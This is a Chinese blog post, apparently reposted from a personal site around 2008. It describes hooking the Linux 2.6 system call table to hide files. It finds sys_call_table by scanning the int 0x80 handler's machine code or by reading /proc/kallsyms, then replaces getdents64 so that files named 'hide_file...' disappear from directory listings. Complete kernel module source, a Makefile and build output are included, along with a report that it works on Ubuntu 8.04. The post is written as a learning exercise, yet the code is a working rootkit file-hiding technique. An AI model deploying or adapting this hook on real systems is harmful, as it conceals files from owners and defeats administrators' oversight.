您的位置:首页 > 运维架构 > Linux

2.6版本Linux上替换系统调用函数实现隐藏文件学习

2008-09-03 10:58 866 查看
转自 widebright的个人空间

2008年08月12日 星期二


久以前写过一个在Windows系统上面隐藏文件的驱动,所以也想试一下Linux上面如何可以实现该功能。前几天看到Linux系统调用方面的文章,刚
好看到相关的东西,所以就试了一下。还真的可以。这┨炜戳撕芏嘞喙氐奈恼拢 薹ㄒ灰涣谐隼矗 旅婧芏嗟胤接玫降暮 捕际歉粗苹蛘卟慰剂吮鹑说拇
搿?总结一下吧。

1.
首先,要知道Linux系统里面有一个叫做sys_call_table这个系统调用列表的指针。其实就是很多系统调用函数的指针列表。
这个东西其实和Windows系统的SSDT几乎一样的东西,很多人也很喜欢去修改SSDT表进而做些猥琐的事情。把ssdt
hook的方法用到sys_call_table上面,也可以做到替换文件查询函数,就可以做到隐藏文件。

2. sys_call_table 这个指针有很多方法可以得到的,2.4内核还是导出的,直接用就行,2.6内核上面就要自己写代码来找了,有很多方法,根据0x80中断的处理函数来搜索指令,或者读/proc/kallsyms 得到sysenter_entry 地址在搜索得到sys_call_table

3.知道sys_call_table 就可以替换相关的系统调用函数来隐藏文件了。

可以通过strace 命令来查看某个程序或者命令调用了哪些syscall 函数。


行“strace ls”
可以看到ls命令是调用了getdents64这个函数来得到文件夹下面的文件的,所以我们只要拦截这个系统调用,然后做些处理就行了。具体实现看代码就
知道了。不过很有意思的,发现Linux查找文件夹所有文件时函数返回的那个文件列表缓存结构和Windows里面采用的都是很类似的,都是一个列表结
构,隐藏文件所采用的方法也几乎一成不变的移植过来使用。其实Windows和Linux很多思想或概念都是很类似的,可能一方出现某个优秀的想法也会被其他人学习使用吧。

4.
网上很多人说可以使用ptrace函数来做到同样的拦截系统调用的效果,我也去看了一下相关文档,发现ptrace更像是Linux提供给用户空间程序调
试另外一个程序的接口。确实可以用来做到检测程序调用了哪些系统调用函数(不知道strace是不是就是通过这个来做的),不过用来实现拦截系统调用,可
能比较复杂,至少我这么认为,还不如sys_call_table的方法来的简单。ptrace更重要的目的是调试功能,比如向另外一个进程空间读写数据
等,设置调试断点等等。感兴趣的可以自己搜索一下。

5. 网上还有直接同过修改内核镜像设备的内存映射 /dev/kmem 来实现拦截系统调用的方法。有优点是在普通的用户程序里面就可以做,不用写内核模块,不过需要跟多的技巧,可以自己搜索一下。

6.
Linux的编程,相对Windows来说还是很方便的,开发工具用系统里面的gcc就可以了,不想Windows要写个驱动要找半天才能弄到个
winDDK来玩。如果发现问题,还可以翻看对应的内核的源代码,看具体是怎么回事,不像Windows地球人都知道是不开源的了。不过Linux相对来
说文档好像不是那么多,没有人专门去写MSDN这种帮助开发者学习的文档吧,有的函数搜索半天也搜索不到一个说明,你就算直接去看内核源代码也是很不方便
的。

具体的代码如下:

====================================================

#include <linux/kernel.h>

#include <linux/module.h>

#include <linux/dirent.h>

#include <linux/mm.h>

//sys_read sys_open等系统调用函数

#include <linux/syscalls.h>

#include <linux/unistd.h>

//flags e.g. O_RDWR , O_EXCL

#include <linux/stat.h>

#include <linux/fcntl.h>

#include <linux/fs.h>

//get_ds() set_fs() get_fs()

#include <asm/processor.h>

#include <asm/uaccess.h>

#include <linux/slab.h> //for kmalloc and kfree

/*在内核 版本为linux-2.6.25.7的内核源代码的arch/x86/kernel/entry_32.S 文件中 可以看到

sysenter call 和 system_call 的处理部分的源代码

-------------

# system call handler stub

ENTRY(system_call)

RING0_INT_FRAME # can't unwind into user space anyway

pushl %eax # save orig_eax

CFI_ADJUST_CFA_OFFSET 4

SAVE_ALL

GET_THREAD_INFO(%ebp)

# system call tracing in operation / emulation

Note, _TIF_SECCOMP is bit number 8, and so it needs testw and not testb

testw $(_TIF_SYSCALL_EMU|_TIF_SYSCALL_TRACE|_TIF_SECCOMP|_TIF_SYSCALL_AUDIT),TI_flags(%ebp)

jnz syscall_trace_entry

cmpl $(nr_syscalls), %eax

jae syscall_badsys

syscall_call:

call *sys_call_table(,%eax,4) 这里可以得到地址的位置

movl %eax,PT_EAX(%esp) # store the return value

syscall_exit:

LOCKDEP_SYS_EXIT

DISABLE_INTERRUPTS(CLBR_ANY) # make sure we don't miss an interrupt

# setting need_resched or sigpending

-------------------------

可以看到最后都是跳转大到sys_call_table 指定的地址上去

arch/x86/kernel/traps_32.c 中的trap_init 函数中可以看到设置

set_system_gate(SYSCALL_VECTOR,&system_call);

这是设置0x80号中断为system_call 函数来处理的

在asm-x86/hw_irq_64.h 文件中有

#define IA32_SYSCALL_VECTOR 0x80

的定义

widebright@widebright-desktop:/usr/src/linux-2.6.25.7-widebright$ ls

arch crypto include kernel Makefile net scripts usr

block Documentation init lib mm README security virt

COPYING drivers ipc lost+found modules.order REPORTING-BUGS sound vmlinux

CREDITS fs Kbuild MAINTAINERS Module.symvers samples System.map vmlinux.o

widebright@widebright-desktop:/usr/src/linux-2.6.25.7-widebright$

widebright@widebright-desktop:/usr/src/linux-2.6.25.7-widebright$

widebright@widebright-desktop:/usr/src/linux-2.6.25.7-widebright$ gdb -q vmlinux

(gdb) disass system_call

Dump of assembler code for function system_call:

0xc0104df0 <system_call+0>: push %eax

0xc0104df1 <system_call+1>: cld

0xc0104df2 <system_call+2>: push %fs

0xc0104df4 <system_call+4>: push %es

0xc0104df5 <system_call+5>: push %ds

0xc0104df6 <system_call+6>: push %eax

0xc0104df7 <system_call+7>: push %ebp

0xc0104df8 <system_call+8>: push %edi

0xc0104df9 <system_call+9>: push %esi

0xc0104dfa <system_call+10>: push %edx

0xc0104dfb <system_call+11>: push %ecx

0xc0104dfc <system_call+12>: push %ebx

0xc0104dfd <system_call+13>: mov $0x7b,%edx

0xc0104e02 <system_call+18>: mov %edx,%ds

0xc0104e04 <system_call+20>: mov %edx,%es

0xc0104e06 <system_call+22>: mov $0xd8,%edx

0xc0104e0b <system_call+27>: mov %edx,%fs

0xc0104e0d <system_call+29>: mov $0xffffe000,%ebp

0xc0104e12 <system_call+34>: and %esp,%ebp

0xc0104e14 <system_call+36>: testw $0xe1,0x8(%ebp)

0xc0104e1a <system_call+42>: jne 0xc0104f40 <syscall_trace_entry>

0xc0104e20 <system_call+48>: cmp $0x147,%eax

0xc0104e25 <system_call+53>: jae 0xc0104fca <syscall_badsys>

0xc0104e2b <system_call+59>: call *-0x3fcde780(,%eax,4) 这里就是sys_call_table 的位置

0xc0104e32 <system_call+66>: mov %eax,0x18(%esp)

0xc0104e36 <syscall_exit+0>: push %eax

0xc0104e37 <syscall_exit+1>: push %edi

0xc0104e38 <syscall_exit+2>: push %ecx

0xc0104e39 <syscall_exit+3>: push %edx

0xc0104e3a <syscall_exit+4>: call *%cs:0xc03ebd44

0xc0104e41 <syscall_exit+11>: pop %edx

0xc0104e42 <syscall_exit+12>: pop %ecx

0xc0104e43 <syscall_exit+13>: pop %edi

0xc0104e44 <syscall_exit+14>: pop %eax

0xc0104e45 <syscall_exit+15>: testl $0x100,0x34(%esp)

0xc0104e4d <syscall_exit+23>: je 0xc0104e53 <no_singlestep>

0xc0104e4f <syscall_exit+25>: orl $0x8,0x8(%ebp)

(gdb) x/xw system_call+59

0xc0104e2b <system_call+59>: 0x808514ff 下面就是通过查找这个指令来得到*sys_call_table 的值

(gdb) x/xw 0xc0104e2e

0xc0104e2e <system_call+62>: 0xc0321880 这个即是sys_call_table 的值

*/

/*

extern void * sys_call_table[];

2.6内核中 sys_call_table 的地址已经不被导出了,可以在System.map 找到,

但你要确保这个System.map 是和当前的系统内核是对应的才行

root@widebright-desktop:/home/widebright/桌面/驱动学习# cat /boot/System.map-2.6.24-18-generic | grep sys_call

c0325520 R sys_call_table

运行时可以根据/proc/kallsyms 来得到正确的地址

root@widebright-desktop:/home/widebright/桌面/驱动学习# grep sysenter_entry /proc/kallsyms

c0104350 T sysenter_entry

croot@widebright-desktop:/home/widebright/桌面/驱动学习# cat /proc/kallsyms |grep sys_call_table

c0325520 R sys_call_table

1。从 System.map 文件直接得到地址。

例如,要得到 do_fork 的地址,可以在命令行执行 $grep do_fork /usr/src/linux/System.map 。

2。使用 nm 命令。

$nm vmlinuz |grep do_fork

3。从 /proc/kallsyms 文件获得地址。 2.4版本的内核是/proc/ksyms 文件

$cat /proc/kallsyms |grep do_fork

4。使用 kallsyms_lookup_name() 例程。

这个例程是在 kernel/kallsyms.c 文件中定义的,要使用它,必须启用 CONFIG_KALLSYMS 编译内核。
kallsyms_lookup_name() 接受一个字符串格式内核例程名,返回那个内核例程的地址。例如:
kallsyms_lookup_name("do_fork");

*/

void ** sys_call_table; /*保存获取到的sys_call_table 指针*/

asmlinkage long (*orig_getdents64)(unsigned int fd,struct linux_dirent64 *dirp,unsigned int count); /*保存原来系统调用函数getdents64的地址*/

/*

struct linux_dirent64 {

u64 d_ino; //inode number

s64 d_off; // offset to next dirent ,这个不知道是什么来,数值一直都很大,估计是磁盘上的偏移?

unsigned short d_reclen; // length of this dirent

unsigned char d_type;

char d_name[0]; //filename (null-terminated)

};

*/

// 中断描述符表寄存器结构

struct _idtr{

unsigned short limit;

unsigned int base;

} __attribute__((packed)) idtr ; //取消内存字节对齐,这样 sizeof(struct _idtr)=6,否则sizeof(struct _idtr)=8,实际执行时就会出错

// 中断描述符表结构

struct idt_descriptor

{

unsigned short off_low;

unsigned short sel;

unsigned char none, flags;

unsigned short off_high;

} __attribute__((packed));

/*通过0x80中断得到system_call 函数地址*/

void *get_system_call(void)

{

struct idt_descriptor * idt;

void *addr=NULL;

asm ("sidt %0" : "=m" (idtr));

idt = (void*)((unsigned long*)(idtr.base));

printk("idt : %x/n", (unsigned int)idt); //在virtualbox虚拟机上这个不能获取到正确的值

addr = (void*)(((unsigned int )idt[0x80].off_low) |

(((unsigned int)idt[0x80].off_high) << 16));

printk("system_call entry: %x/n", (unsigned int) addr);

//printk("size of _idtr: %d/n", sizeof(struct _idtr));

return addr;

}

/* 得到 sys_call_table 列表指针 */

void *get_sys_call_table(void *system_call)

{

unsigned char *p;

unsigned long s_c_t;

int count = 0;

p = (unsigned char *) system_call;

/*

* 查找机器码得到 sys_call_table 的地址

* `call sys_call_table(, %eax, 4)`

*/

while (!((*p == 0xff) && (*(p+1) == 0x14) && (*(p+2) == 0x85)))

{

p++;

if (count++ > 500)

{

count = -1;

break;

}

}

if (count != -1)

{

p += 3;

s_c_t = *((unsigned long *) p);

}

else

s_c_t = 0;

return((void *) s_c_t);

}

/**

* 读取 /proc/kallsyms 文件,

* 从中解释出 sysenter 入口的地址, 成功就返回 地址,否则返回0

root@widebright# cat /proc/kallsyms | grep sysenter_entry

c0104350 T sysenter_entry

*/

void * get_sysenter_entry(void)

{

void *sysenter_entry =NULL; /*保存获取到的sysenter_entry入口地址*/

mm_segment_t old_fs;

// int fd;

char line[256];

int i = 0;

struct file *file = NULL; //Stores information related to files opened by a process

//配置段寄存器ds segment register

//通知系统,以后的系统调用(read 等)参数,来自内核内存区,而不是用户内存区

//因为默认系统会把,系统调用的参数单作来自用户空间的,会作一些检查,然后把他

//转化成内核空间的地址。所以要通知他我们这里传的参数都是已经来自内核空间的了,他

//才不会报错,专家的建议是尽量不要在内核中进行文件操作

old_fs = get_fs();

set_fs(get_ds());

// sys_open 和sys_read 说是不推荐使用了 ,

//fs/open.c 文件中有如下一句,

//EXPORT_UNUSED_SYMBOL_GPL(sys_open); /* To be deleted for 2.6.25 */

//从2.6.25中就不再导出这两个函数了,因为在内核中读取文件被认为是一种非常不好的办法。

/* 下面这个方法在2.6.24版本的内核是还是可以正常工作的,下面用 filp_open 的方法来实现吧。

fd = sys_open("/proc/kallsyms", O_RDONLY, 0);

if (fd >= 0)

{

while (sys_read(fd, &line[i], 1) == 1)

{

if (line[i] == '/n')

{

line[i] ='/0';

i=0;

//到这里时,line中保存一行数据

if (strstr(line,"sysenter_entry") != NULL)

{

sysenter_entry =(void *) simple_strtoul(line,NULL,16);

break;

}

}

if (i< 254)

{

i++;

}

}

sys_close(fd);

}

*/

file = filp_open("/proc/kallsyms",O_RDONLY,0);

if (file ==NULL) return NULL;

if (file->f_op->read ==NULL) return NULL;

//每次从文件中读取一个字节到 line里面,&file->f_pos 指定要开始读的位置,

//可能这种方法比较地效率,不过还是可以正确工作的,也只在最开始的时候调用一次,应该问题不大

while ( file->f_op->read(file, &line[i], 1,&file->f_pos) == 1)

{

if (line[i] == '/n')

{

line[i] ='/0';

i=0;

//到这里时,line中保存一行数据

if (strstr(line,"sysenter_entry") != NULL)

{

sysenter_entry =(void *) simple_strtoul(line,NULL,16);

break;

}

}

if (i< 254)

{

i++;

}

}

filp_close(file,NULL);

set_fs(old_fs); //还原最初的fs

return sysenter_entry;

}

// asmlinkage告诉编译器所有的参数都是通过堆栈来传递,不要优化成使用寄存器的调用方式

///原本的sys_getdents64 在内核源代码的 fs/readdir.c 文件中定义

asmlinkage long my_getdents64(unsigned int fd,struct linux_dirent64 *dirp,unsigned int count)

{

unsigned int bufLength, recordLength, modifyBufLength;

struct linux_dirent64 * dirp2, *dirp3,

*head = NULL, //进行修改时,指向正确的列表的头条记录

*prev = NULL; //进行修改时,指向列表中上一项记录

char hide_file[]="hide_file"; /*我们要隐藏的文件名字*/

bufLength = (*orig_getdents64) (fd, dirp, count); /*调用原本函数得到文件夹信息*/

//printk("bufLength:%u/n", bufLength);

if (bufLength <= 0 ) return bufLength ; //如果函数调用出错,直接返回好了

/*申请内核空间*/

dirp2 = (struct linux_dirent64 *)kmalloc(bufLength, GFP_KERNEL);

if (!dirp2) return bufLength;

/* 把已经得到的文件夹信息从用户空间复制出来*/

if (copy_from_user(dirp2, dirp, bufLength) )

{

printk("fail to copy dirp to dirp2 /n");

return bufLength;

}

head = dirp2;

dirp3 = dirp2;

modifyBufLength = bufLength;

while (((unsigned long )dirp3) <(((unsigned long) dirp2)+ bufLength))

{

recordLength = dirp3->d_reclen;

//printk("length:%u ",recordLength);

if ( recordLength == 0)

{

//有些文件系统getdents函数没能正确运行

break;

}

// 是否是我们要隐藏的文件

if (strncmp(dirp3->d_name, hide_file ,strlen(hide_file)) ==0)

{

if (!prev) //整个列表中的第一个记录就是我们要隐藏的文件

{

head = (struct linux_dirent64 *)((char *) dirp3 + recordLength);

modifyBufLength -= recordLength;

}

else{ // 修改前一个记录长度,去掉我们要隐藏的文件纪录

prev->d_reclen += recordLength;

memset(dirp3, 0, recordLength );

}

}

else

{

prev= dirp3;

}

//继续下一条记录查找

dirp3 = (struct linux_dirent64 *)

((char *) dirp3+ recordLength);

}

// 用我们修改后的文件信息覆盖原有用户空间的文件信息

copy_to_user (dirp, head, modifyBufLength);

kfree(dirp2);

return modifyBufLength;

}

int init_module(void)

{

/*

/usr/include/sys/syscall.h 有system call函数的号码定义 ,

也可以写作 SYS__getdents64 的,不过都是在# include <bits/syscall.h>里面定义的宏

在/usr/include/asm/unistd.h 有system call函数的号码定义

#define __NR_getdents64 220

*/

void *s_call, *sysenter_entry;

//采用0x80系统中断获取system_call函数地址的方法来获取sys_call_table地址

s_call = get_system_call();

if (s_call ==NULL) return (-1);

sys_call_table = get_sys_call_table(s_call);

printk("sys_call_table: 0x%08x/n", (int) sys_call_table);

//采用第二种方法来根据sysenter_entry地址来获取得到sys_call_table地址

if (sys_call_table == NULL){

sysenter_entry=get_sysenter_entry();

printk("sysenter_entry: 0x%08x/n", (int) sysenter_entry);

if (sysenter_entry ==NULL) return (-1);

sys_call_table = get_sys_call_table(sysenter_entry);

printk("sys_call_table: 0x%08x/n", (int) sys_call_table);

if (sys_call_table ==NULL)

{

return(-1);

}

}

//检测获取到的地址是不是正确的,

if (sys_call_table[__NR_close] != (unsigned long *)sys_close)

{

printk("Incorrect sys_call_table address./n");

return -1;

}

//替换相关函数的调用地址表

orig_getdents64=sys_call_table[__NR_getdents64];

sys_call_table[__NR_getdents64]=my_getdents64;

return 0;

}

void cleanup_module(void)

{

sys_call_table[__NR_getdents64]=orig_getdents64;

}

MODULE_LICENSE("GPL");

MODULE_DESCRIPTION("Hide file Kernel Module");

MODULE_AUTHOR("widebright");

===================Makefile内容============================

# If KERNELRELEASE is defined, we've been invoked from the

# kernel build system and can use its language.

ifneq ($(KERNELRELEASE),)

obj-m := hook_system_call.o

# Otherwise we were called directly from the command

# line; invoke the kernel build system.

else

KERNELDIR ?= /lib/modules/$(shell uname -r)/build

PWD := $(shell pwd)

default:

$(MAKE) -C $(KERNELDIR) M=$(PWD) modules

clean:

$(MAKE) -C $(KERNELDIR) M=$(PWD) clean

endif

===================================================

root@widebright-desktop:/home/widebright/桌面/驱动学习# make clean

make -C /lib/modules/2.6.24-18-generic/build M=/home/widebright/桌面/驱动学习 clean

make[1]: Entering directory `/usr/src/linux-headers-2.6.24-18-generic'

CLEAN /home/widebright/桌面/驱动学习/.tmp_versions

CLEAN /home/widebright/桌面/驱动学习/Module.symvers

make[1]: Leaving directory `/usr/src/linux-headers-2.6.24-18-generic'

root@widebright-desktop:/home/widebright/桌面/驱动学习# make

make -C /lib/modules/2.6.24-18-generic/build M=/home/widebright/桌面/驱动学习 modules

make[1]: Entering directory `/usr/src/linux-headers-2.6.24-18-generic'

CC [M] /home/widebright/桌面/驱动学习/hook_system_call.o

Building modules, stage 2.

MODPOST 1 modules

CC /home/widebright/桌面/驱动学习/hook_system_call.mod.o

LD [M] /home/widebright/桌面/驱动学习/hook_system_call.ko

make[1]: Leaving directory `/usr/src/linux-headers-2.6.24-18-generic'

然后用insmod命令加载驱动,就可以隐藏 hide_file开始的文件,在ubuntu8.04上面测试通过
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: